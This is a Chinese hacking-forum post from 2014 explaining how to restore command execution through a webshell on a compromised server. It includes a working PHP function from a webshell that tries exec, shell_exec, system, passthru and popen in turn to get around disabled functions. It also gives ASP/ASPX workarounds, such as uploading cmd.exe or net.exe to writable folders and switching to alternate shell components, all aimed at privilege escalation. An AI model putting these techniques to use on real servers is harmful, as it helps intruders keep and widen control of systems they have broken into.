灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:5003回复:0

关于webshell无法执行dos命令的解决办法

楼主#
更多 发布于:2014-10-14 11:16
 #一篇科普性的文章,欢迎小伙伴指正,如果有其他的方法希望一起分享
#文章中难免有不足的地方,望大家谅解,可以回帖一起交流
#当然提权不是必须使用DOS命令,也可以第三方提取等等 需要灵活的思路(某些大牛手握0day直接溢出)
(1)在php下有以下函数可以执行命令
exec
shell_exec
system
passthru
popen
EscapeShellCmd
当php开启安全模式或者做了限制的时候某些敏感函数会被禁止
解决办法:可以在webshell下查看被禁用的函数,使用未被禁用的函数执行dos命令
php大马里面的执行dos命令的函数,可以看到使用elseif测试每一个函数
  
function Exec_Run($cmd)
{
        $res = '';
        if(function_exists('exec')){@exec($cmd,$res);$res = join("n",$res);}
        elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
        elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
        elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
        elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
        return $res;
}
  
复制代码

(2)在asp&aspx下
1# 如果cmd被删除,或者拒绝访问,可以上传一个cmd.exe到可读可写目录下
2# 如果ws组件被删,可以尝试使用shell.application组件来执行,如果这2个组件都被删,可以尝试使用它们的备用组件来执行(有专用的cmd马)
3#Aspx下一般使用process类来调用执行可执行程序,.net环境中也是可以使用WScript.Shell组件的
当net出现问题时:
如果可以执行一些其他的命令,但是net net1返回为空,则说明net.exe被删除,如果出现拒绝访问,则无权限
解决办法:
(1)可以上传一个net.exe到可读可写目录下
(2)Net.exe 恢复 dir net.exe /s /p 或者 dir net1.exe /s /p

喜欢0 评分0
游客

返回顶部